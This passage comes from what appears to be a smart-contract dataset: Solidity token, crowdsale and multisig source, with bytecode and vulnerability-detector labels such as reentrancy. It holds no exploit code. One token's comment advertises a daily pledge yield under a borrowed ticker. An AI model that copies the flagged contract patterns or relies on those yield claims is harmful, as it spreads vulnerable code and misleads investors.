* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/*
Full name EthCoin abbreviation ETC
Total ten million pieces.
ETC pledges to 6.5 times the specified wallet address and releases MFC at 0.2% per day; the released token (MFC) is repeatedly pledged to 7 times the interest rate; the community shares 80% of the contribution award; ETC burns 20% MFC; 1ETC = 0.3 US dollars, and the total MFC issue is $10 billion.
*/
contract ETC is StandardToken, Ownable {
// Constants
string public constant name = "EthCoin";
string public constant symbol = "ETC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals));
uint public amountRaised;
uint256 public buyPrice = 50000;
bool public crowdsaleClosed;
function ETC() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
Transfer(_from, _to, _value);
}
function setPrices(bool closebuy, uint256 newBuyPrice) onlyOwner public {
crowdsaleClosed = closebuy;
buyPrice = newBuyPrice;
}
function () external payable {
require(!crowdsaleClosed);
uint amount = msg.value ; // calculates the amount
amountRaised = amountRaised.add(amount);
_transfer(owner, msg.sender, amount.mul(buyPrice));
}
//取回eth, 参数设为0 则全部取回, 否则取回指定数量的eth
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
return true;
}
} | 0x6060604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461016c578063095ea7b3146101f657806318160ddd1461022c57806323b872dd146102515780632ff2e9dc14610279578063313ce5671461028c5780635f56b6fe146102b557806366188463146102cd57806370a08231146102ef5780637b3e5e7b1461030e5780638620410b1461032157806388d695b2146103345780638da5cb5b146103c357806395d89b41146103f2578063a9059cbb14610405578063ccb07cef14610427578063d6bc1b391461043a578063d73dd62314610455578063dd62ed3e14610477578063f2fde38b1461049c575b60065460009060ff161561012457600080fd5b50600454349061013a908263ffffffff6104bb16565b60045560035460055461016991600160a060020a031690339061016490859063ffffffff6104d516565b610500565b50005b341561017757600080fd5b61017f6105f4565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101bb5780820151838201526020016101a3565b50505050905090810190601f1680156101e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020157600080fd5b610218600160a060020a036004351660243561062b565b604051901515815260200160405180910390f35b341561023757600080fd5b61023f610697565b60405190815260200160405180910390f35b341561025c57600080fd5b610218600160a060020a036004358116906024351660443561069d565b341561028457600080fd5b61023f61080b565b341561029757600080fd5b61029f61081a565b60405160ff909116815260200160405180910390f35b34156102c057600080fd5b6102cb60043561081f565b005b34156102d857600080fd5b610218600160a060020a03600435166024356108b5565b34156102fa57600080fd5b61023f600160a060020a03600435166109af565b341561031957600080fd5b61023f6109ca565b341561032c57600080fd5b61023f6109d0565b341561033f57600080fd5b6102186004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506109d695505050505050565b34156103ce57600080fd5b6103d6610bce565b604051600160a060020a03909116815260200160405180910390f35b34156103fd57600080fd5b61017f610bdd565b341561041057600080fd5b610218600160a060020a0360043516602435610c14565b341561043257600080fd5b610218610d14565b341561044557600080fd5b6102cb6004351515602435610d1d565b341561046057600080fd5b610218600160a060020a0360043516602435610d4f565b341561048257600080fd5b61023f600160a060020a0360043581169060243516610df3565b34156104a757600080fd5b6102cb600160a060020a0360043516610e1e565b6000828201838110156104ca57fe5b8091505b5092915050565b6000808315156104e857600091506104ce565b508282028284828115156104f857fe5b04146104ca57fe5b600160a060020a0383166000908152602081905260409020548190101561052657600080fd5b600160a060020a0382166000908152602081905260409020548181011161054c57600080fd5b600160a060020a038316600090815260208190526040902054610575908263ffffffff610eb916565b600160a060020a0380851660009081526020819052604080822093909355908416815220546105aa908263ffffffff6104bb16565b600160a060020a0380841660008181526020819052604090819020939093559190851690600080516020610ecc8339815191529084905190815260200160405180910390a3505050565b60408051908101604052600781527f457468436f696e00000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a03831615156106b457600080fd5b600160a060020a0384166000908152602081905260409020548211156106d957600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561070c57600080fd5b600160a060020a038416600090815260208190526040902054610735908363ffffffff610eb916565b600160a060020a03808616600090815260208190526040808220939093559085168152205461076a908363ffffffff6104bb16565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546107b0908363ffffffff610eb916565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610ecc8339815191529085905190815260200160405180910390a35060019392505050565b6a084595161401484a00000081565b601281565b60035433600160a060020a0390811691161461083a57600080fd5b80151561087f57600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561087a57600080fd5b6108b2565b600354600160a060020a031681156108fc0282604051600060405180830381858888f1935050505015156108b257600080fd5b50565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561091257600160a060020a033381166000908152600260209081526040808320938816835292905290812055610949565b610922818463ffffffff610eb916565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60045481565b60055481565b60035460009081908190819033600160a060020a039081169116146109fa57600080fd5b60008651118015610a0c575084518651145b1515610a1757600080fd5b60009250600091505b8451821015610a5c57610a4f858381518110610a3857fe5b90602001906020020151849063ffffffff6104bb16565b9250600190910190610a20565b600160a060020a033316600090815260208190526040902054831115610a8157600080fd5b5060005b8551811015610b8057610ae6858281518110610a9d57fe5b90602001906020020151600080898581518110610ab657fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff6104bb16565b600080888481518110610af557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055858181518110610b2557fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020610ecc833981519152878481518110610b5d57fe5b9060200190602002015160405190815260200160405180910390a3600101610a85565b600160a060020a033316600090815260208190526040902054610ba9908463ffffffff610eb916565b33600160a060020a031660009081526020819052604090205550600195945050505050565b600354600160a060020a031681565b60408051908101604052600381527f4554430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610c2b57600080fd5b600160a060020a033316600090815260208190526040902054821115610c5057600080fd5b600160a060020a033316600090815260208190526040902054610c79908363ffffffff610eb916565b600160a060020a033381166000908152602081905260408082209390935590851681522054610cae908363ffffffff6104bb16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610ecc8339815191528460405190815260200160405180910390a350600192915050565b60065460ff1681565b60035433600160a060020a03908116911614610d3857600080fd5b6006805460ff191692151592909217909155600555565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d87908363ffffffff6104bb16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610e3957600080fd5b600160a060020a0381161515610e4e57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610ec557fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208c1aae83db4da98e61b6e784afc24b6088b60fd25b2aeb8ec592d46ebd45ffed0029 | {"success": true, "error": null, "results": {}} | 1,922 |
0x3dc3a98f275c05fd7abea52eafa3df881ce64dfc | pragma solidity ^0.4.18;
/**
* @title Smart City Crowdsale contract https://www.smartcitycoin.io
*/
contract SmartCityToken {
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {}
function setTokenStart(uint256 _newStartTime) public {}
function burn() public {}
}
contract SmartCityCrowdsale {
using SafeMath for uint256;
/// state
SmartCityToken public token; // Token Contract
address public owner; // Owner address
mapping (address => bool) whitelist; // users whithelist
mapping(address => uint256) public balances; // the array of users along with amounts invested
mapping(address => uint256) public purchases; // the array of users and tokens purchased
uint256 public raisedEth; // Amount of Ether raised
uint256 public startTime; // Crowdale start time
uint256 public tokensSoldTotal = 0; // Sold Tolkens counter
bool public crowdsaleEnded = false; // if the Campaign is over
bool public paused = false; // if the Campaign is paused
uint256 public positionPrice = 5730 finney; // Initially 1 investement position costs 5.73 ETH, might be changed by owner afterwards
uint256 public usedPositions = 0; // Initial number of used investment positions
uint256 public availablePositions = 100; // Initial number of open investment positions
address walletAddress; // address of the wallet contract storing the funds
/// constants
uint256 constant public tokensForSale = 164360928100000; // Total amount of tokens allocated for the Crowdsale
uint256 constant public weiToTokenFactor = 10000000000000;
uint256 constant public investmentPositions = 4370; // Total number of investment positions
uint256 constant public investmentLimit = 18262325344444; // the maximum amount of Ether an address is allowed to invest - limited to 1/9 of tokens allocated for sale
/// events
event FundTransfer(address indexed _investorAddr, uint256 _amount, uint256 _amountRaised); // fired on transfering funds from investors
event Granted(address indexed party); // user is added to the whitelist
event Revoked(address indexed party); // user is removed from the whitelist
event Ended(uint256 raisedAmount); // Crowdsale is ended
/// modifiers
modifier onlyWhenActive() {
require(now >= startTime && !crowdsaleEnded && !paused);
_;
}
modifier whenPositionsAvailable() {
require(availablePositions > 0);
_;
}
modifier onlyWhitelisted(address party) {
require(whitelist[party]);
_;
}
modifier onlyNotOnList(address party) {
require(!whitelist[party]);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Crowdsale Contract initialization
* @param _owner address Token owner address
* @param _tokenAddress address Crowdsale end time
* @param _walletAddress address Beneficiary address where the funds are collected
* @param _start uint256 Crowdsale Start Time
*/
function SmartCityCrowdsale (
address _tokenAddress,
address _owner,
address _walletAddress,
uint256 _start) public {
owner = _owner;
token = SmartCityToken(_tokenAddress);
walletAddress = _walletAddress;
startTime = _start; // Crowdsale Start Time
}
/**
* @dev Investment can be done just by sending Ether to Crowdsale Contract
*/
function() public payable {
invest();
}
/**
* @dev Make an investment
*/
function invest() public payable
onlyWhitelisted(msg.sender)
whenPositionsAvailable
onlyWhenActive
{
address _receiver = msg.sender;
uint256 amount = msg.value; // Transaction value in Wei
var (positionsCnt, tokensCnt) = getPositionsAndTokensCnt(amount);
require(positionsCnt > 0 && positionsCnt <= availablePositions && tokensCnt > 0);
require(purchases[_receiver].add(tokensCnt) <= investmentLimit); // Check the investment limit is not exceeded
require(tokensSoldTotal.add(tokensCnt) <= tokensForSale);
walletAddress.transfer(amount); // Send funds to the Wallet
balances[_receiver] = balances[_receiver].add(amount); // Add the amount invested to Investor's ballance
purchases[_receiver] = purchases[_receiver].add(tokensCnt); // Add tokens to Investor's purchases
raisedEth = raisedEth.add(amount); // Increase raised funds counter
availablePositions = availablePositions.sub(positionsCnt);
usedPositions = usedPositions.add(positionsCnt);
tokensSoldTotal = tokensSoldTotal.add(tokensCnt); // Increase sold CITY counter
require(token.transferFrom(owner, _receiver, tokensCnt)); // Transfer CITY purchased to Investor
FundTransfer(_receiver, amount, raisedEth);
if (usedPositions == investmentPositions) { // Sold Out
token.burn();
crowdsaleEnded = true; // mark Crowdsale ended
Ended(raisedEth);
}
}
/**
* @dev Calculate the amount of Tokens purchased based on the value sent and current Token price
* @param _value uint256 Amount invested
*/
function getPositionsAndTokensCnt(uint256 _value) public constant onlyWhenActive returns(uint256 positionsCnt, uint256 tokensCnt) {
if (_value % positionPrice != 0 || usedPositions >= investmentPositions) {
return(0, 0);
}
else {
uint256 purchasedPositions = _value.div(positionPrice);
uint256 purchasedTokens = ((tokensForSale.sub(tokensSoldTotal)).mul(purchasedPositions)).div(investmentPositions.sub(usedPositions));
return(purchasedPositions, purchasedTokens);
}
}
function getMinPurchase() public constant onlyWhenActive returns(uint256 minPurchase) {
return positionPrice;
}
/// Owner functions
/**
* @dev To increace/reduce number of Investment Positions released for sale
*/
function setAvailablePositions(uint256 newAvailablePositions) public onlyOwner {
require(newAvailablePositions <= investmentPositions.sub(usedPositions));
availablePositions = newAvailablePositions;
}
/**
* @dev Allows Investment Position price changes
*/
function setPositionPrice(uint256 newPositionPrice) public onlyOwner {
require(newPositionPrice > 0);
positionPrice = newPositionPrice;
}
/**
* @dev Emergency function to pause Crowdsale.
*/
function setPaused(bool _paused) public onlyOwner { paused = _paused; }
/**
* @dev Emergency function to drain the contract of any funds.
*/
function drain() public onlyOwner { walletAddress.transfer(this.balance); }
/**
* @dev Function to manually finalize Crowdsale.
*/
function endCrowdsale() public onlyOwner {
usedPositions = investmentPositions;
availablePositions = 0;
token.burn(); // burn all unsold tokens
crowdsaleEnded = true; // mark Crowdsale ended
Ended(raisedEth);
}
/// Whitelist functions
function grant(address _party) public onlyOwner onlyNotOnList(_party)
{
whitelist[_party] = true;
Granted(_party);
}
function revoke(address _party) public onlyOwner onlyWhitelisted(_party)
{
whitelist[_party] = false;
Revoked(_party);
}
function massGrant(address[] _parties) public onlyOwner
{
uint len = _parties.length;
for (uint i = 0; i < len; i++) {
whitelist[_parties[i]] = true;
Granted(_parties[i]);
}
}
function massRevoke(address[] _parties) public onlyOwner
{
uint len = _parties.length;
for (uint i = 0; i < len; i++) {
whitelist[_parties[i]] = false;
Revoked(_parties[i]);
}
}
function isWhitelisted(address _party) public constant returns (bool) {
return whitelist[_party];
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* CITY 2.0 token by www.SmartCityCoin.io
*
* .ossssss: `+sssss`
* ` +ssssss+` `.://++++++//:.` .osssss+
* /sssssssssssssssssssssssss+ssssso`
* -sssssssssssssssssssssssssssss+`
* .+sssssssss+:--....--:/ossssssss+.
* `/ssssssssssso` .sssssssssss/`
* .ossssss+sssssss- :sssss+:ossssso.
* `ossssso. .ossssss: `/sssss/ `/ssssss.
* ossssso` `+ssssss+` .osssss: /ssssss`
* :ssssss` /sssssso:ssssso. +o+/:-`
* osssss+ -sssssssssss+`
* ssssss: .ossssssss/
* osssss/ `+ssssss-
* /ssssso :ssssss
* .ssssss- :ssssss
* :ssssss- :ssssss `
* /ssssss/` :ssssss `/s+:`
* :sssssso:. :ssssss ./ssssss+`
* .+ssssssso/-.`:ssssss``.-/osssssss+.
* .+ssssssssssssssssssssssssssss+-
* `:+ssssssssssssssssssssss+:`
* `.:+osssssssssssso+:.`
* `/ssssss.`
* :ssssss
*/ | 0x60606040526004361061015b5763ffffffff60e060020a6000350416630f3d8803811461016557806312aef8c31461018a57806316c38b3c1461019d5780632095f2d4146101b5578063222b0d7d146101c85780632367f35d1461021757806327e235e31461023e5780633af32abf1461025d5780634081c0651461027c5780634dcad927146102cb5780635c975abb146102de5780636b65be60146102f157806370284d191461030457806374a8f1031461032357806378e9792514610342578063842a77d3146103555780638ceaa23f146103745780638da5cb5b1461038a5780638e6fdd31146103b95780639890220b146103cc578063a533daf7146103df578063a9414cc3146103f2578063ba7efcdd14610420578063d1c06b2f14610433578063d5812ae114610446578063dc2424fc14610459578063e8b5e51f1461015b578063ec176dee1461046f578063fc0c546a14610482575b610163610495565b005b341561017057600080fd5b610178610836565b60405190815260200160405180910390f35b341561019557600080fd5b610178610873565b34156101a857600080fd5b610163600435151561087d565b34156101c057600080fd5b6101636108b2565b34156101d357600080fd5b610163600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061097095505050505050565b341561022257600080fd5b61022a610a3d565b604051901515815260200160405180910390f35b341561024957600080fd5b610178600160a060020a0360043516610a46565b341561026857600080fd5b61022a600160a060020a0360043516610a58565b341561028757600080fd5b6101636004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650610a7695505050505050565b34156102d657600080fd5b610178610b3e565b34156102e957600080fd5b61022a610b44565b34156102fc57600080fd5b610178610b52565b341561030f57600080fd5b610163600160a060020a0360043516610b58565b341561032e57600080fd5b610163600160a060020a0360043516610bef565b341561034d57600080fd5b610178610c84565b341561036057600080fd5b610178600160a060020a0360043516610c8a565b341561037f57600080fd5b610163600435610c9c565b341561039557600080fd5b61039d610cde565b604051600160a060020a03909116815260200160405180910390f35b34156103c457600080fd5b610178610ced565b34156103d757600080fd5b610163610cf3565b34156103ea57600080fd5b610178610d49565b34156103fd57600080fd5b610408600435610d4f565b60405191825260208201526040908101905180910390f35b341561042b57600080fd5b610178610e30565b341561043e57600080fd5b610178610e3a565b341561045157600080fd5b610178610e40565b341561046457600080fd5b610163600435610e46565b341561047a57600080fd5b610178610e73565b341561048d57600080fd5b61039d610e7d565b33600160a060020a038116600090815260026020526040812054909182918291829160ff1615156104c557600080fd5b600b54600090116104d557600080fd5b60065442101580156104ea575060085460ff16155b80156104fe5750600854610100900460ff16155b151561050957600080fd5b33945034935061051884610d4f565b9250925060008311801561052e5750600b548311155b801561053a5750600082115b151561054557600080fd5b600160a060020a03851660009081526004602052604090205465109c076a38bc90610576908463ffffffff610e8c16565b111561058157600080fd5b60075465957c42bbfea09061059c908463ffffffff610e8c16565b11156105a757600080fd5b600c54600160a060020a031684156108fc0285604051600060405180830381858888f1935050505015156105da57600080fd5b600160a060020a038516600090815260036020526040902054610603908563ffffffff610e8c16565b600160a060020a038616600090815260036020908152604080832093909355600490522054610638908363ffffffff610e8c16565b600160a060020a038616600090815260046020526040902055600554610664908563ffffffff610e8c16565b600555600b5461067a908463ffffffff610ea616565b600b55600a54610690908463ffffffff610e8c16565b600a556007546106a6908363ffffffff610e8c16565b60075560008054600154600160a060020a03918216926323b872dd9290911690889086906040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561072057600080fd5b6102c65a03f1151561073157600080fd5b50505060405180519050151561074657600080fd5b84600160a060020a03167f4868204ba256324465262345d316654988b849a14e86d2216ef1e095638419918560055460405191825260208201526040908101905180910390a2611112600a54141561082f57600054600160a060020a03166344df8e706040518163ffffffff1660e060020a028152600401600060405180830381600087803b15156107d757600080fd5b6102c65a03f115156107e857600080fd5b50506008805460ff19166001179055506005547f601095663bda08ac0f932087ef2eb08e42e4bcd1927f3a8d9500f6ad2c5aef909060405190815260200160405180910390a15b5050505050565b6000600654421015801561084d575060085460ff16155b80156108615750600854610100900460ff16155b151561086c57600080fd5b5060095490565b65957c42bbfea081565b60015433600160a060020a0390811691161461089857600080fd5b600880549115156101000261ff0019909216919091179055565b60015433600160a060020a039081169116146108cd57600080fd5b611112600a556000600b81905554600160a060020a03166344df8e706040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561091757600080fd5b6102c65a03f1151561092857600080fd5b50506008805460ff19166001179055506005547f601095663bda08ac0f932087ef2eb08e42e4bcd1927f3a8d9500f6ad2c5aef909060405190815260200160405180910390a1565b600154600090819033600160a060020a0390811691161461099057600080fd5b82519150600090505b81811015610a38576000600260008584815181106109b357fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106109f157fe5b90602001906020020151600160a060020a03167fb6fa8b8bd5eab60f292eca876e3ef90722275b785309d84b1de113ce0b8c4e7460405160405180910390a2600101610999565b505050565b60085460ff1681565b60036020526000908152604090205481565b600160a060020a031660009081526002602052604090205460ff1690565b600154600090819033600160a060020a03908116911614610a9657600080fd5b82519150600090505b81811015610a3857600160026000858481518110610ab957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055828181518110610af757fe5b90602001906020020151600160a060020a03167f07fbfa1ea88900f6f3310f4b2f87c8f523243d3ad73b76ea750044dfa98341b760405160405180910390a2600101610a9f565b60075481565b600854610100900460ff1681565b600a5481565b60015433600160a060020a03908116911614610b7357600080fd5b600160a060020a038116600090815260026020526040902054819060ff1615610b9b57600080fd5b600160a060020a03821660008181526002602052604090819020805460ff191660011790557f07fbfa1ea88900f6f3310f4b2f87c8f523243d3ad73b76ea750044dfa98341b7905160405180910390a25050565b60015433600160a060020a03908116911614610c0a57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161515610c3357600080fd5b600160a060020a03821660008181526002602052604090819020805460ff191690557fb6fa8b8bd5eab60f292eca876e3ef90722275b785309d84b1de113ce0b8c4e74905160405180910390a25050565b60065481565b60046020526000908152604090205481565b60015433600160a060020a03908116911614610cb757600080fd5b600a54610ccd906111129063ffffffff610ea616565b811115610cd957600080fd5b600b55565b600154600160a060020a031681565b60055481565b60015433600160a060020a03908116911614610d0e57600080fd5b600c54600160a060020a039081169030163180156108fc0290604051600060405180830381858888f193505050501515610d4757600080fd5b565b61111281565b6000806000806006544210158015610d6a575060085460ff16155b8015610d7e5750600854610100900460ff16155b1515610d8957600080fd5b60095485811515610d9657fe5b06151580610da85750611112600a5410155b15610db95760009350839250610e29565b600954610dcd90869063ffffffff610eb816565b9150610e20610de9600a54611112610ea690919063ffffffff16565b610e1484610e0860075465957c42bbfea0610ea690919063ffffffff16565b9063ffffffff610ecf16565b9063ffffffff610eb816565b90508181935093505b5050915091565b65109c076a38bc81565b600b5481565b60095481565b60015433600160a060020a03908116911614610e6157600080fd5b60008111610e6e57600080fd5b600955565b6509184e72a00081565b600054600160a060020a031681565b600082820183811015610e9b57fe5b8091505b5092915050565b600082821115610eb257fe5b50900390565b6000808284811515610ec657fe5b04949350505050565b600080831515610ee25760009150610e9f565b50828202828482811515610ef257fe5b0414610e9b57fe00a165627a7a72305820ffc7ef63aa5138808d4f09c21ddb32ea2146a51f24d31d637245ddf6a0eaa21d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 1,923 |
0x3d566454c7b2cdd382925380afb82bfb44e3c7b6 | pragma solidity ^0.4.18;
contract ArgumentsChecker {
/// @dev check which prevents short address attack
modifier payloadSizeIs(uint size) {
require(msg.data.length == size + 4 /* function selector */);
_;
}
/// @dev check that address is valid
modifier validAddress(address addr) {
require(addr != address(0));
_;
}
}
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct MultiOwnedOperationPendingState {
// count of confirmations needed
uint yetNeeded;
// bitmap of confirmations where owner #ownerIndex's decision corresponds to 2**ownerIndex bit
uint ownersDone;
// position of this operation key in m_multiOwnedPendingIndex
uint index;
}
// EVENTS
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
event FinalConfirmation(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
require(isOwner(msg.sender));
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation)) {
_;
}
// Even if required number of confirmations has't been collected yet,
// we can't throw here - because changes to the state have to be preserved.
// But, confirmAndCheck itself will throw in case sender is not an owner.
}
modifier validNumOwners(uint _numOwners) {
require(_numOwners > 0 && _numOwners <= c_maxOwners);
_;
}
modifier multiOwnedValidRequirement(uint _required, uint _numOwners) {
require(_required > 0 && _required <= _numOwners);
_;
}
modifier ownerExists(address _address) {
require(isOwner(_address));
_;
}
modifier ownerDoesNotExist(address _address) {
require(!isOwner(_address));
_;
}
modifier multiOwnedOperationIsActive(bytes32 _operation) {
require(isOperationActive(_operation));
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them (msg.sender is not added to the owners!).
function multiowned(address[] _owners, uint _required)
public
validNumOwners(_owners.length)
multiOwnedValidRequirement(_required, _owners.length)
{
assert(c_maxOwners <= 255);
m_numOwners = _owners.length;
m_multiOwnedRequired = _required;
for (uint i = 0; i < _owners.length; ++i)
{
address owner = _owners[i];
// invalid and duplicate addresses are not allowed
require(0 != owner && !isOwner(owner) /* not isOwner yet! */);
uint currentOwnerIndex = checkOwnerIndex(i + 1 /* first slot is unused */);
m_owners[currentOwnerIndex] = owner;
m_ownerIndex[owner] = currentOwnerIndex;
}
assertOwnersAreConsistent();
}
/// @notice replaces an owner `_from` with another `_to`.
/// @param _from address of owner to replace
/// @param _to address of new owner
// All pending operations will be canceled!
function changeOwner(address _from, address _to)
external
ownerExists(_from)
ownerDoesNotExist(_to)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_from]);
m_owners[ownerIndex] = _to;
m_ownerIndex[_from] = 0;
m_ownerIndex[_to] = ownerIndex;
assertOwnersAreConsistent();
OwnerChanged(_from, _to);
}
/// @notice adds an owner
/// @param _owner address of new owner
// All pending operations will be canceled!
function addOwner(address _owner)
external
ownerDoesNotExist(_owner)
validNumOwners(m_numOwners + 1)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
m_numOwners++;
m_owners[m_numOwners] = _owner;
m_ownerIndex[_owner] = checkOwnerIndex(m_numOwners);
assertOwnersAreConsistent();
OwnerAdded(_owner);
}
/// @notice removes an owner
/// @param _owner address of owner to remove
// All pending operations will be canceled!
function removeOwner(address _owner)
external
ownerExists(_owner)
validNumOwners(m_numOwners - 1)
multiOwnedValidRequirement(m_multiOwnedRequired, m_numOwners - 1)
onlymanyowners(keccak256(msg.data))
{
assertOwnersAreConsistent();
clearPending();
uint ownerIndex = checkOwnerIndex(m_ownerIndex[_owner]);
m_owners[ownerIndex] = 0;
m_ownerIndex[_owner] = 0;
//make sure m_numOwners is equal to the number of owners and always points to the last owner
reorganizeOwners();
assertOwnersAreConsistent();
OwnerRemoved(_owner);
}
/// @notice changes the required number of owner signatures
/// @param _newRequired new number of signatures required
// All pending operations will be canceled!
function changeRequirement(uint _newRequired)
external
multiOwnedValidRequirement(_newRequired, m_numOwners)
onlymanyowners(keccak256(msg.data))
{
m_multiOwnedRequired = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
/// @notice Gets an owner by 0-indexed position
